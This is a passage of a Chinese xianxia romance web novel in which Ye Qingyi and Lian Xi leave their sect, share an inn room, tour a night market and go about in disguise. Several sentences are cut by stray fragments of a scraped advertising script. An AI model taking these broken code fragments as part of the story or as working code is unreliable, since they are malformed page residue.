同寝舍的人基本都下山历练了,收妖做出一些名声,不管是进内门,去占星阁,还是留在民间做个赏金术士都是很有利的,裴佩跟南宫也去了,裴佩第二年考核成绩不错,排名第十二,好好努力一番还是有希望冲冲亲传弟子的,加上叶清漪如今还腾出一个位置。 至于南宫,家里要求她至少完成一次捉妖试炼,获得正式的修士契文,所以她也去了。 寝舍只有叶清漪一个人留守,前山的仙徒也不多,有些是暂时回山待几天,很快又要下山,进行新的除妖任务。 有时候叶清漪走在路上,会和一些眼熟的弟子打个照面,看着行色匆匆的他们,叶清漪总能想到前世的自己,有时候也会感叹简单纯粹一点挺好,但她不想一直做个蒙昧的人,尽管有时真相残忍得让人难以接受。 这日叶清漪起得有些晚,到膳堂的时候早点已经卖得差不多了,因为现在仙徒不多,膳堂备的食物都很少,叶清漪到的时候卖包子的师傅都快收摊了。 “哟,是你啊!我说今天没见着你,你肯定是起晚了。”这段时间叶清漪每日都来,所以师傅对她很有印象。 “还有吃的吗?” “包子没了,还有点白粥和咸菜,你看成吗?”师傅扯着襜衣一角擦着手,一边扫视着一旁备餐的台子。 “可以。” 叶清漪要了一碗白粥,一叠咸菜,找了个位置坐了。 膳堂往日人就不多,如今又过了饭点,只有一两个人,叶清漪只专注自己眼前的事情,不大观察周围的情况,只知道左边隔了两排的位置坐了一个人,叶清漪喝了几口粥,一个人端着餐盘走到她边上。 她以为是哪个弟子吃完准备离开,仍旧自顾自吃着,直到那人在她对面坐下,将一笼屉包子推到她面前。 “我这里还有一些素包子,你吃点吧!” 是连喜。 叶清漪喝粥的手一顿,看了眼那包子,搁下勺子,拿了一个。 包子还是热的,皮薄馅大,外皮很软,里面的菜馅也很好吃。 叶清漪认真吃着包子,连喜又开口了:“我记得你很早就已经辟谷,也不贪吃食,如今怎么又想起每日三顿按饭点来了?” 叶清漪终于抬眼正式看着连喜,打量着他眼里的神色。 “你这么看着我作什么?”连喜半带笑意。 叶清漪仍旧牢牢望着连喜。 片刻后,叶清漪淡淡开口:“你有事情瞒着我吗?” 连喜定了一瞬,眼底似有一丝慌乱,他不动声色地垂下眼睑,再次抬眼,已恢复了往日的神色,没有丝毫破绽。 “怎么可能呢?你想知道什么,我都可以告诉你。” 叶清漪听了,略带思忖地点点头。 连喜观察着她的神色:“你为何如此问?” 叶清漪没回答,看起来又在想其他的事情。 “被邪灵卷入结界的期间到底发生了什么?”连喜换了个问题。 此言一出,叶清漪毫无神采的眼底才有了一丝波澜,她深吸了一口气,看起来像是打算跟连喜从头说起。 “如果你忽然发现,一直以为的一件事情根本不是你以为的样子,你会作何想?曾经的人在你眼里也不复从前,虽然他看上去还是原本的模样,但只有你知道,一切都已经不一样了,并且你们再也回不到从前的样子了,你所知道的一切都是谎言,你一厢情愿的付出,到头来却是一个笑话,但你又无从计较,毕竟这些也只是你的想法,没有人要求你什么,你连恨都不知道该恨谁,也不知道到底哪里出了错,事情为何变成如今这样?” 叶清漪一口气说了很多,连喜认真听着,脸上也没了戏谑的笑意,但除了郑重聆听,他似乎还隐隐有些担忧和愧疚,他的神色在这些细微的表情之间来回变化,十分复杂。 叶清漪说得投入,并没注意到连喜的反应。 等叶清漪全部说完后,连喜才调整好情绪,为叶清漪分析。 “那这个人对你而言重要吗?”连喜小心试探着。 叶清漪皱着眉细细思量着:“我也不知如何界定,于我而言,他自然是很重要的人,但窥得一些秘辛后,我也不能确定了,他的行为,他对待自己的点点滴滴,二人多年的情谊,都不由得让人觉得是意有所图,一切都截然不同了,你甚至不知之后该如何对待他,一直以来想做的事情也没有意义了。” “我觉得还是要看他欺瞒你的原因吧!有些时候对方也是身不由己,不是存心隐瞒的。”连喜觑着叶清漪的神色,斟酌着开口。 “与其看原因,不如看看结果,若是已经造成伤害,那原因还重要吗?顶多是蓄意伤害和被迫伤害的区别罢了。况且,被伤害之人又做错了什么呢?对一切毫不知情,天真地以为或许这世间还有一人是真心待她,可最后,那这点念想也没了。” 叶清漪目光灼灼,刺得连喜无法直视,下意识回避她的视线。 叶清漪长长出了口气,似乎好过一些了:“多谢你听我说这些,或许我并不需要开解,只是需要一个情绪宣泄口。” 叶清漪说着准备离开。 “你打算怎么做?” 连喜仰头望着她,眼中似有一丝祈求。 叶清漪察觉到他的异常,但没有细究,认为他只是在担心她会因此离开。 “我想下山了。” 叶清漪终于说出这句话,每个字都说得很清楚,像是带着郑重,又像是在说服自己。 连喜猛地起身:“为何!” “没什么,我只是觉得,除了修道还有很多事可以做,我想去看看,感受寻常人的烦恼和喜悦,体会一下简单的生活。” “可……”连喜急忙拉住她,“可你天资如此高,就这么放弃岂不可惜?” “没什么可惜的,或许在前世我已经经历过了,也炼成了极 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 高的修为,可最后还是一无所有呢?” 连喜越发不解:“什么前世?为何会一无所有?” “没有,我只是觉得除魔卫道也不差我一人。你我相识一场,若你还看重我们之间的情谊,可以下山来看我。” 叶清漪说完,躬身示意,端着餐盘离开了。 回到寝舍后发现裴佩也在,难得见她回来,二人闲聊了几句,裴佩刻意回避试炼的经历,但二人除了这个又没什么可聊的,在说到她第一次打死了一只乙等妖兽时,也是抑制不住地兴奋。 “你看,这便是那妖兽的内丹!我是在城外一个小镇上遇到的,当时它正在大街上滥杀无辜,我就给它制服了。” 裴佩摊开掌心,释出一只红色的内丹。 叶清漪始终微笑听着,也不忘多说几句鼓励的话:“你如今也算仙徒中数一数二的弟子了,我很替你高兴。” 裴佩甜甜一笑,也不做作地说一些谦虚的话。 “对了,我还给你带了个礼物。”裴佩从怀里掏出一个琥珀绿的剑穗,递给叶清漪。 叶清漪嘴角的笑意一滞,怔怔看着那剑穗。 “上次看你的剑穗不知何时没有了,我又给你带了个新的。” 叶清漪接过,努力平稳着心绪,流苏色泽和质地都是上乘,中间还系了个环状的青玉,小巧精致。 “难为你还想着我,这个剑穗我很喜欢。”叶清漪勉力一笑。 “清漪,”裴佩拉过她的手,“我今天回来一会就走,平时也不常能回来,有些话我还是想趁此机会说了。” “但说无妨。” “我总感觉你这段时间都不是很开心,虽然我不知道具体原因,但我还是希望你能开心起来,就算不除妖也可以没事下山走走啊,现在云仞的禁制完全开了,方便我们随时出入,你也该多下山走走才是。” 裴佩一番话说的很诚恳。 叶清漪也知道裴佩是真心为她好。 “放心,我都听进去了。”叶清漪眼底的笑意深了几分。 裴佩又将信将疑,叶清漪多次表态她才相信。二人又聊了一会儿,叶清漪有些累了,裴佩也到了该下山的时候,二人才止了话头,临走时裴佩再三嘱咐,让叶清漪照顾好自己,多下山走走,叶清漪一一应了,裴佩这才放心离去。 叶清漪在院子门口目送裴佩离去,忽然捂住右手,眉心因吃痛拧在一起。 细看之下,她唇色苍白,额角渗出细密的汗珠,想来该是疼痛难忍,可她却不发一言,只紧紧捏着右手手腕内侧,金色的术光自指缝漏出,隐忍良久,终于渐渐平息。 叶清漪闭目缓了缓,深吸几口气,调整好内息,这才掀起袖子看了一眼。 那处半翅状的印记已然改变,原本中间泛红的地方已经出现层层翅羽,状似鸦羽,栩栩如生,每一根羽毛的边缘则是刺目的红色,好似用血浸透了,又像叶清漪本身的伤口流出的鲜血。 看来妖契的履行时刻快到了。 叶清漪拉过袖子遮住,如今虽快入夏了,她仍旧还穿着两层衣裳,这样才不至于被人察觉。 83. 下山试炼 裴佩走后,叶清漪回了寝舍,将新的剑穗绑在青锋剑上。 之前那个旧的,从冀州城回来后就不见了,不知是落在观雨楼前还是落在云舟上了,但那不过是个寻常剑穗,叶清漪也就没放在心上,没想到裴佩连这么细节的东西都注意到了。 绑好剑穗,青玉撞击剑柄,扣出一声轻响,叶清漪略一沉吟,提剑转身就出去了。 叶清漪现在还没修到人剑一体的境界,不过可以在一定范围内随时召唤青锋剑,但大多数时候还是随身带着。 除此之外,她也没什么好带的,此行她也是散心,若非需要,她不想出手,也没有除妖的打算。 说到除妖,门内已经很久没人活捉妖邪回来了。 修言死后,密林被封,成了云仞禁地,在修言手底下幸存的妖邪还在其中,因为一直没有商讨出合适的处置方法,仍旧关在密林,但密林不再作为试炼之地,林中大大小小的结界也都关掉了,只用一整个大的结界将妖邪和仙门弟子隔绝开。 如今试炼之地都在山下各个地方,靠弟子们自行寻找,也可以离开冀州城,去其他更远的地方,只需在年底考核之前回来即可。 很多弟子甚至住回了本家,但身份还是云仞弟子,他们这时还没有完全离开仙门,所以不能去其他地方,也不能谋求别的职位,住在本家的弟子也大多日日外出捉妖,也没有闲情逸致在家享福。 若是不能交上像样的试炼成果,是没有好的出路的,只能沦为散修,是以虽无人监管,弟子们也半分不敢懈怠。 快到山门的时候,叶清漪听到身后有人在喊她的名字,她回过身去,就看到连喜一边招手一边快步走下阶梯,不一会儿就到了叶清漪面前。 “等、等等我,我跟你一起去。”连喜上气不接下气地说。 “你又不用试炼,你去干嘛?” 连喜叉着腰喘气:“你是?去试炼?我以为你要走了。” “我不是去试炼,”叶清漪转身向下走,“也没打算现在离开。” “那你这是,散心?” 叶清漪点点头。 “那更要带上我了,一个人下山多无聊!” 叶清漪不言,继续往前走着。 连喜紧走两步上前,一个劲望着叶清漪,眼睛亮亮的:“还在烦恼之前说的那件事吗?” “说出来感觉好多了,还得多谢你。” “你我之间不必言谢。”连喜似乎松了口气,语气也轻快许多。 过了会儿又问:“你有想好去哪儿吗?” 叶清漪坦言道:“不曾,走到哪儿算哪儿吧!合适的话或许会小住一段时间。” 连喜似懂非懂。 叶清漪睨了他一眼:“你真的要跟着我吗?到时候若是宿在荒山野岭,只怕你无法适应。” 连喜大手一挥:“别瞧不起人了,你都能住我肯定能!” 叶清漪又问:“那若是形势所迫你我要共处一室呢?” 连喜一下被问住了:“共……共处一室?” “同塌而眠。” “同塌而眠?!!” “正是。”叶清漪强忍笑意,板起脸来,“男女有别,只怕不妥,不若你我还是各自行动吧!” 趁着连喜失神的空当儿,叶清漪两步走到前面,和他拉开距离。 不一会儿连喜又赶上来:“那样的话,你就安心睡屋里,我睡屋外替你守夜。” 叶清漪依旧往前走着。 “要真是迫不得已落到那般境地,我,我……”连喜半天也没有下文。 “若真如此,你便同我做道侣吧!”叶清漪定定望着连喜,眼神纯粹干净。 连喜涨红了脸:“道、道侣?” “正是若我还继续留在云仞,你势必要做我的道侣的。” 叶清漪毫无征兆地凑近,连喜顿时傻了,整个人僵住。 “莫不是,你不愿意?”叶清漪一瞬不瞬地望着连喜,玩笑中也带了点试探的意味。 “没有,我只是……” “你想啊,此次下山你我若要同行,势必无可避免地会有一些亲密相处的时刻,若你我不是道侣,到时处境只会更加尴尬。” 连喜神色缓和了一些,像是接受了叶清漪刚才的话:“我自然是愿意的,可是你呢?你为何选我?” 叶清漪思索片刻:“我想了一圈,也就跟你最熟知了,若要选的话,我也只能选你做道侣。” 连喜叹了口气,拍了拍叶清漪的脑袋:“傻丫头,道侣不是这么选的。” 叶清漪拉了拉嘴角,配合地表示懵懂。 “不过我还是会答应你,毕竟让其他人做你道侣我不放心。”连喜说完这句,大步向前,背对着叶清漪招手,“快点下山吧!要赶在天黑之前找到落脚之处,不然真的要睡荒郊野岭了。” 叶清漪在原地呆了会儿,看不到连喜说这话时究竟是什么表情,方才她也不知怎么了,忽然就说出当道侣的事了,不过想到前世和连喜的相处,她便觉得跟连喜组成道侣也没什么不妥。 傍晚时分,二人到了山脚的小镇,需要先找个客栈落脚,二人找了一处看起来挺不错的客栈,叶清漪刚准备进去,被连喜拦住。 “这个小镇所在之处乃是三族交界,人际混杂,我先进去,你等在门口,若有什么变故,你随时逃走,不用顾及我。” 叶清漪轻笑:“依你便是。” 这个时候大家都赶着回家,路上行人步履匆匆,叶清漪就在外面看着人们来来往往,大部分都是普通人族,一部分修士,还有一部分看不出身份,估计是用了什么方法遮掩了气息,也有道行高深的术士出现,照常从这些人身边走过,并不出手,看起来这样的情况已经习以为常,每个地方都有其独特的相处法门,叶清漪自然不会多事。 不一会儿连喜一脸苦恼地出来。 “怎么了这是?被人打了?” 连喜眼神哀怨地看着她:“真给你说着了!” “真被人打了?” “只剩一间上房了。” 叶清漪被连喜的反应逗笑,又压着笑意问:“那就换一家呗!省得你一副被逼迫的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 表情。” 叶清漪转身欲走,却被连喜一把拉住。 叶清漪回头,看着连喜的眼,有片刻的失神。 “别去了,最近各门各派下山试炼的弟子很多,客栈几乎都住满了,这是全镇最好的酒楼,大概是那间上房太贵,所以还有空余。” 连喜看上去有些紧张:“为了防止你我露宿街头,适才我已经订下了。” 连喜眼中有一丝郑重的情绪,看得叶清漪也有些羞赧起来。 “那便就住这吧!这么好的机会敲你竹杠,不住白不住!”叶清漪故意插科打诨,说着些玩笑话,以此掩盖那不易察觉的一丝慌乱。 “房间在哪儿?”她大咧咧地回头问连喜。 “二楼。”连喜指了指楼上。 不等叶清漪确认具体的房间位置,店小二就忙不迭地迎上来。 “二位就是天字第一号的客官吧!我给您二位带路,这边请。”小二带着他们上了楼。 “房间在二楼第一间,僻静,没人打扰,二位尽管放心。” 小二走在前面,还不忘卖力地跟他们介绍,只是这话让连喜和叶清漪之间的气氛更尴尬了。 虽然说的是事实,但听起来总感觉别有深意,尤其是在现在的情境中。 叶清漪和连喜都默契地装作没听见。 小二一路将二人引到房门口,细心地替他们将门打开。 “房间已经替二位收拾好了,有什么需要随时叫我,楼下可以用餐,二位想在房间里吃饭也是可以的。”小二简单介绍了一番,又问连喜,“热水是现在送呢,还是晚点给二位送上来?” 连喜磕磕绊绊地回答:“晚、晚点再送吧!” “好嘞!那您二位早点休息。”小二说完又打量了叶清漪一眼,看起来像是又打算有眼力见地说什么早生贵子的话,连喜赶紧给他一枚上等灵石,让他先退下了。 叶清漪没由来地松了一口气,但没完全松掉,很快又再次提起来了! 她和连喜站在房门口,谁也没先动,气氛忽然变得有些微妙。 那一刻叶清漪才明白,说是一回事,真正身在其中又是另一回事。 没想到随口一说的事情来的这么快,真是报应不爽,这一刻,叶清漪有点恨自己这张嘴。 眼下也没有其他办法,左右她也算比连喜多活了十几年,也是见过世面的,合该做出点前辈的派头。 于是,叶清漪一挥手,故作镇定:“进去啊!” “噢,噢……”连喜呆呆应了两声,也一同进来了。 房间布置得的确不错,住着也很舒服,窗户还对着正街,但又隔了很远,享受到绝佳视野的同时也不会被吵到。 叶清漪满意地打量着屋内,直到看到仅有的一张卧榻,其上还罩着层层纱幔,甚是温馨。 叶清漪脊背挺直,眼观鼻鼻观心,摒弃杂念,正认真分析着,到底是她睡地板、还是连喜睡地板的重要决定,就听见“咿呀——”一声,身后的连喜将房门关上了。 叶清漪后背一僵,瞬间大脑一片空白。 84. 夜市同游 叶清漪僵着脖子转身,只见连喜站在门后,还维持着双手关门的姿势,从叶清漪的角度望去,只能看到他的侧脸,连喜微微低下头,整个人给人的感觉忽然变得有些不一样了。 少了几分惯常的戏谑,多了几分不属于他的深沉,这样叶清漪觉得有一瞬的陌生。 很快连喜转身朝她走来,脸上仍旧带着灿烂的笑意,让人看不出破绽,叶清漪又忍不住怀疑,之前只是一瞬的错觉。 “怎么说,道侣,这一张床榻,你我二人怎么睡啊?”连喜又没个正形了。 叶清漪也很配合,大手一指:“你睡外面啊,不是说给我守夜吗?” 连喜神情夸张起来,不忿地控诉叶清漪的暴虐行径:“你真忍心啊!万一被路过的人捡走了,明早起来你就见不到我了。” 叶清漪挑眉,意思是她才不管! “那我们可能要在这住好几天,我每天都睡外面,这样不好吧!我可以睡门里面吗?我在里面也能给你守夜。” 叶清漪依旧不松口。 “叶师妹,叶仙女,叶大师!求你高抬贵手,就让我这可怜的小修士进来睡吧!睡地板也行。” “好啊!” 叶清漪答应了。 连喜一愣,怔怔看着叶清漪,像是有些错愕。 叶清漪连忙移开视线,不想被他看到自己闪烁的眼神。 “我可以睡床吗?分我一小半就好。”连喜刻意得寸进尺。 “不行!” “我认床,地板太硬我睡不着的……”连喜语气夸张。 “先把你的灵石分我一半,我或许可以考虑。”叶清漪故意这么说,她知道连喜最看重他的宝贝灵石。 “不是吧!你这么狠吗?” “现在才知道,晚了。” 二人你来我往打着口水战,其实都是为了缓解气氛,大概说了太多话,叶清漪有些口渴,便在房间中央的如意圆桌旁坐下,给自己倒了杯水。 壶里的茶水该是新砌的,放了这么会儿温度刚好,比温热略烫一些,不会太凉,又刚好入口。 连喜也过来了,在她边上坐下,也给自己倒了一杯。 叶清漪喝了几口,思绪不由得又飘回了之前某个时刻,和一人对坐品茗,安静待许久,有时能一个下午都不说话,但她内心却是难得的平静。 只是一切都不是她看到的样子,岁月静好也不过是一个精心编织的谎言。 连喜察觉她情绪有些不对劲,又说了几句俏皮话让她分心,叶清漪配合地和他拌嘴,知道他用心良苦,也自知不该过度沉溺过去,便提议晚上出去走走。 连喜也深表赞同。 二人一同下楼,在一楼用了简单的饭菜,正在想晚点去哪儿玩,就听到隔壁桌提起东街的集会,说是很热闹,二人便打算去东街逛逛。 集会今晚刚开始,之后会连开三天,不过第一晚肯定是最热闹的,之前叶清漪小时候上街赶集会,也都是最开始那天就去,后面几天没有舞龙舞狮和歌舞表演,杂耍也少了很多花样,便没有那么有趣了。 只是没想到这么多年过去,她还能再次赶上集会。 他们所在的这处小镇虽然是三族交界,但人人都很守礼,也不会贸然施法,这些年一直都相安无事,并且是各族难得可以放心出入的地方,不用在乎他人异样的眼光,也不用时刻保持警觉,担心被人捉走。 可能因为组成此处的就是不同种族的人,这座小镇也对各族之人展现了极度的包容。 不过叶清漪还是不敢完全放下戒备,尤其是在这样大型集会上,或许是出于修士的本能,她会下意识分析迎面走来的每一个人,并且时刻关注暗处的动向,握剑的手时刻紧绷,随时做好了应战的准备。 连喜察觉出她的紧张,伸手握住了她的手背,叶清漪整个人一僵,怔怔看向连喜。 灯火映照中,连喜眉目低垂,眉眼投下一片温柔,灯光轻柔地投在他脸上,勾勒出他的轮廓,和当初在山脚集市一样,叶清漪又出现了曾经那种感觉,总感觉眼前的连喜和她素日认识的有些不一样。 连喜将她的手举在胸前,另一只手接过青锋剑,放下时顺势握紧了她的手。 叶清漪大脑再次一片空白,身边的喧嚣声瞬间听不见了,只听见自己心如擂鼓。 连喜的手紧握着她的手,手心传来的力量坚定温柔,且不再掩饰,她的心控制不住地乱了。 “不用担心,交给我就好。” 连喜低头看她,眼底满是柔情。 手心的力量又很重,她能感觉到他这一刻的真挚。 她明白连喜的心意,虽然她还没完全明白自己的,但至少这一刻她是欢喜的。 叶清漪决定不去想其他,尽情过好今晚便好,她不希望自己的纷杂情绪毁了这难得的美好时光。 二人一同去看了喷火、顶缸、胸口碎大石,还玩了套圈,有很多好看的灵石、剑穗、玉佩首饰等等,可惜叶清漪一个也没套中,倒是连喜套中了一把做工精美的匕首,他转头就要送给叶清漪,叶清漪觉得意头不好,没有收。 连喜想想也是,转头就随手将匕首送给边上的其他修士。 二人继续在街上闲逛,其实也没什么要买的东西,多数时候都在买东西吃,街上吃的很多,有棉花糖、糖人、馃子还有糖葫芦,叶清漪对这些都不太感兴趣,倒是中途走累了,二人在路边吃了碗小馄饨,味道还不错。 “怎么样?累不累?”连喜问她。 “还好,就是觉得这集市没有小时候有意思了。” 叶清漪回头看了眼远处热闹的集市,说出了她感受最深的一点。 “那是肯定的,心境不同了,就算是同样的小玩意小把戏,看多了也会觉得没意思。” 二人吃完馄饨,又看了一会儿皮影戏,叶清漪逛得有些累了,脑袋沉沉的,也不知什么时候靠在了连喜身上,只是忽然觉得脑袋枕得很舒服。 “长大真是越来越没意思了,小时候不怎么能出门,我便总盼着集会那天,因为那天全家都会上街,我也能跟着一起出来玩,那时候没见过世面,看什么都觉得有意思,记忆里集会总是很多人,吵吵嚷嚷的,每个人都很高兴。” 叶清漪越说越迷糊,不知怎么就想起曾经在集会上遇到的一件事。 “不过也有人不那么开心,那个时候我不小心跟家人走散了,走到街边没人的地方去了,我发现在巷子里,在那些没人的角落里,还有一些孤独的孩子,相比之下,我的那些苦恼都不算什么了。 “他们或三两成群,或是被其他人排挤,但他们都很可怜,他们没去过集市,只能远远看着,唯一能看到的就是集会上绽放的烟花,我曾经遇到过一个小孩,和我一般大,我永远记得他看到烟花时眼里的光彩,虽然落寞,但并未放弃。我看他一个人,还同他玩了好一会儿,直到听到家人在远处喊我的名字,才匆匆与他告别,我记得他还跟我说过他的名字,我也认真记了,但现在压根想不起来,只记得他告诉我名字时的场景,记得他名字是两个字,但是很复杂,但我那时候识字少,或许只是很寻常的两个字,总之也无从记起了。” 叶清漪感觉到她说话时,连喜一只手一直在轻拍她的胳膊,当她说到年少这段经历时,连喜的手似乎停了下来。 “那你现在还记得他长什么样吗?” 叶清漪缓缓摇头:“能记得遇到他的地方,还有怎么过去的,为何会遇到他,这些原委,至于这个人,我唯一能记得的就是他是个男孩,当时个子应该比我高一些,很能爬,他还爬到门楼的石墩子上,又跳下来,假装自己会飞,如今想想,那时候我们都这样吧!总想着要修仙,御剑飞行,感觉那些仙人大师都很厉害,应该没有凡俗之人的烦恼,如今真的成为了这样的人,又不复以往的心境了。” 叶清漪漫无目的地说着,忽然想起了一些细节:“对了,那个男孩,最后我将手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || 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这态度好到叶清漪莫名心虚,不禁怀疑自己是不是做了什么对不起连喜的事,现在连喜是变着法地要整治她! 想了一圈无果,她也乐得睡床,便不再推辞,倒头就睡。 一觉睡到大天亮,醒来时连喜已经不在屋里了,屋子里只剩蜡烛燃烧了一晚上的气息。 叶清漪走上前,桌上空着的茶壶表示着昨晚的一切都不是梦境,她没什么头绪地打量着屋内,将这一路的事情从头过了一遍,仍旧没想明白。 这时有人敲门,叶清漪应了一声,是连喜。 叶清漪心里咯噔一下,走上前开门:“你进自己房间还敲什么门啊!” 打开门就看到连喜端着早饭,神态也与从前大相径庭,像是总带了点忧伤。 叶清漪挠了挠头,看着连喜将早饭摆在桌上,又对她前所未有的温柔问候了一遍——睡得怎么样,饿不饿,昨晚玩的累不累,来吃点东西吧! 叶清漪嘴角抽了抽,探了探自己的额头,又走上前探了探连喜的。 “没病啊!你这是怎么了?怎么忽然对我这么好?” 连喜专心摆着早点,没吱声。 叶清漪猛地倒吸一口凉气:“昨晚你不会,真的对我做什么了吧!” 连喜的手顿时僵在半空。 85. 乔装打探 “你的剑给你放在那边的剑架上了,一会让小二给你打点水洗漱。” 连喜摆好早点,自顾自说着。 叶清漪受不了了,撑着桌子盯着连喜,誓要问个明白:“你这突然的到底怎么了?” 连喜定了定,再次抬头看她时又恢复了往日的戏谑模样:“怎么样,是不是吓到你了?” 叶清漪深深愣了一阵,猛地反应过来,终于松了口气:“吓死我了,你还演得挺真,我还真以为你做了什么对不起我的事呢!” 连喜眼中神色一暗,转瞬又没心没肺地笑笑:“哪有!就是昨晚听你说小时候就认识了一个男孩,心里有点不平衡。” “你还吃味了?放心,”叶清漪重重拍了连喜一下,十分大方,“你在我这永远是最要好的师兄弟,其他人越不过你去。” “谢谢你啊!”连喜顺口说着惯常的玩笑话,眼底却没有笑意。 二人一同用过早点,一起下了楼,房间暂时没退,叶清漪打算先在这里待几天。 外面天气很好,阳光洒在街道上,很是耀眼。叶清漪深吸一口气,整个人都神清气爽。 “打算去哪儿?”连喜走上前来,“街上都是商铺,你想逛哪里都行。” 叶清漪扫了一眼沿街,这个时候沿街店铺早已经打开门做生意,但叶清漪却对这些不感兴趣:“商铺千篇一律,无非就那些东西,没什么意思,我们下山又不是为了买东西。” “那你有什么想去的地方?”阳光刺得连喜眯了眯眼,他用手在额前支了个凉棚,打量着来往的人,他们看上去都跟寻常人没什么两样。 叶清漪早有计较:“我们,玩点刺激的!” 连喜:“嗯?” 叶清漪拉起连喜的衣服看了看,又低头看了眼自己的衣服,连连摇头:“这样不行,你灵石还有的多吧!” 连喜:“啊?” 二人去成衣铺换了两身寻常的行头,叶清漪一袭墨绿色翠竹百褶裙,上身一件浅绿色短衫,衣襟和袖口处都有竹叶暗纹,肩上还绣了只斜斜的翠竹,裙面染了水墨山水的花样,腰间系着墨绿色腰带,随性中带了点坚韧。 连喜换了身豆绿色烫金碎纹圆领长袍,黑色革带,长发半束,配以金冠固定,金冠各处点缀着数颗明珠,金簪上也缀了个鱼眼大小的明珠,看起来内敛又奢华。 连喜正低头系着护腕,不经意抬头看了叶清漪一眼,这一眼看得叶清漪差点又失神了。 见惯了他穿仙袍的样子,乍见了这副打扮,还挺有些不一样的。 “这下倒真像玩世不恭的世家公子了。”叶清漪眼睛好看地弯了弯。 连喜也有些看呆了,听到叶清漪说话,才后知后觉地移开视线。 “你也不错,像是,闲来无事出来游玩的世家贵女,就是看起来太精明了,怕是不够掩人耳目。” “你怎么知道我需要掩人耳目?”叶清漪知道连喜心思敏锐,这话多半也是多问的。 “换去了云仞弟子的制服,很明显,你不希望被人看出你我的身份。” “那身衣服太扎眼了,你不觉得这些路人在我们面前都很谨慎吗?” 连喜颔首:“我也发现了。” “我想看看脱下弟子服,会不会有什么不一样的发现。” “还需要一个方便行动的身份。” “你想要什么身份?”叶清漪盈盈笑道。 连喜刚准备开口,叶清漪大手一挥:“不用想了,兄妹是不可能的,你休想占我便宜,姐弟我勉强能答应。” 连喜笑笑,欣然应允:“好。” 叶清漪错愕不已:“你答应了?这么爽快?都有些不像你了。” 连喜依旧笑着,没有像往日那般说些话来否认。 叶清漪撇了撇嘴,只好假装什么都没说。 可能是听到她说要离开云仞,连喜不舍得,才这样对她吧! 连喜收拾好了形容,举步欲走:“那走吧!” “等一下,还不能走。” 连喜做出个询问的表情。 这时掌柜从里面出来,拿了个包袱给叶清漪:“这是您要的东西,您拿好。” “多谢掌柜。”叶清漪接过,满意地拍了拍,包袱鼓鼓囊囊的。 “你这是?” “这两身衣服还是不太行,我又准备了一些其他的,肯定能派上用场!” 叶清漪得意地扬了扬包袱,连喜很自然地接过,背上了。 又递给叶清漪一个东西:“这是新做的归墟草香囊,功效很强,你现在法力比之前高了很多,要是用隔年的干草效力太微弱,遮掩不住灵力,如今出门在外,还是要稳妥一些。” 叶清漪接过闻了闻,有股淡淡的草香。 “正好,之前那个旧香囊用得久了,有些破破烂烂,我就给扔了,现在又有新的了。”叶清漪含着笑,像是无意说出一般。 连喜动作没变,但整个人的感觉有了微妙的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 变化,叶清漪故作不觉地打量着新的香囊,直到连喜半天没说话,才抬眼看他,连喜的脸色难看,还控制着不表现出来,以至于神情十分怪异。 叶清漪噗嗤一下笑开了:“好了,逗你呢!在门中用不到,我早就洗了收起来了,这次没带着。” 连喜的眉头这才舒展。 “你的呢?” “我一直贴身带着。”连喜急忙掏出他那个旧香囊,亚麻的布料不显旧,但是时间久了会变得软塌塌的。 看得出来连喜已经很小心保存了,但香囊还是有些走形了,上面的莲花都有些歪歪扭扭的。 叶清漪看着自己手里的香囊,上面也是个莲花图案。 “我不是问这个,我是问你有给自己准备新的吗?” 连喜这才恍然大悟,又掏出一个,两只手递给她看,一个绣着莲花,一个上面绣着些竹叶。 “你是不是给错了?”叶清漪也伸出手,将三个香囊放在一处,“你手里那个才是给我的吧!” 连喜有些不好意思地收回那个竹叶香囊:“没给错。” 叶清漪还在等着,连喜却半天没有下文,只莫名其妙慢慢红了脸。 叶清漪反应过来,猛然明白他什么意思,忙像被烫了一样收回手,“哦”了一声,背过身去,将香囊收了起来。 叶清漪知道连喜什么意思,可她兴许是要下山的人,不一定能回应他的心意,想到这里,叶清漪又拉回一些理智,清了清嗓子,恢复如常的神色。 * 他们所在的地方名叫渭城,因为有渭水自西向东流过,城里有一座桥,架在渭水之上,桥两端的人便是由此桥互通商业,是小镇比较核心的地点。 他们所住的客栈位于小镇比较繁华的街区,二人一路走着,看上去就像在闲逛。 渭城看起来和寻常小镇没什么两样,镇上多是在此居住多年的当地人,说着流利又难懂的方言,做事也跟说话的腔调一样,麻利又热情,质朴中带了几分不算高明的精明。 渭城地方不大,但却是一处交通要道,往北是冀州城,西面连着云仞山,往南则是曲阜和一些大大小小的郡县,散落着大部分的修仙派系,寒天门和归元宗都在其中,东边则靠着黑山,那里是魔族的地盘。 人族仙门魔族,无论从哪个地方出发都要经过此处,这里的人也对各种生面孔习以为常,都默契地不会多管闲事,所以即便叶清漪和连喜这番打扮走在街上,也不会惹来路人侧目。 86. 茶棚谈心 连喜背着个包袱跟在叶清漪边上,为了不惹人注意,他们没带佩剑。 其实叶清漪也没想好去哪儿,她对这个地方还不是很熟悉,她的想法是隐藏身份,看看会不会遇上什么有意思的事情,对于小镇的了解都是从连喜口中得知的。 “怎么感觉你似乎很了解这里?” “我之前试炼的时候也来过这里。”连喜说着在一旁小心盯着叶清漪。 “噢。”叶清漪点点头,没太在意,“那你知道这镇上有什么好去处吗?” “这个我也不太清楚,之前只是匆匆路过,渭城虽然人员混杂,但因为来此的都是为了抛却身份暂时躲避纷扰的人,所以没什么人生事,也就不需要留下除妖。” “这么说起来,这地方还真是不错。”叶清漪赞许道。 “人们在此也很少使用术法,反而很热衷于体会不一样的生活,用原有的条件尝试学习不同的技能,或者仅仅根据自身喜欢行事,会用术法行个方便,但不会依靠术法,更不会用来对付其他人。” “这倒稀奇了,我们日夜苦练,努力提升修为,到头来又想要抛开术法生活,岂不是多此一举。” 连喜沉吟片刻抬起头,视线放远,越过人群,不知看向哪里:“可能人有时候就喜欢追求自己得不到的事物吧!但或许眼前的才是最好的。” 叶清漪应了一声,但其实她也不能完全笃定,不过她也不打算细想此事。 二人正走着,迎面来了一对人马,叶清漪和连喜自然退至一旁避让。 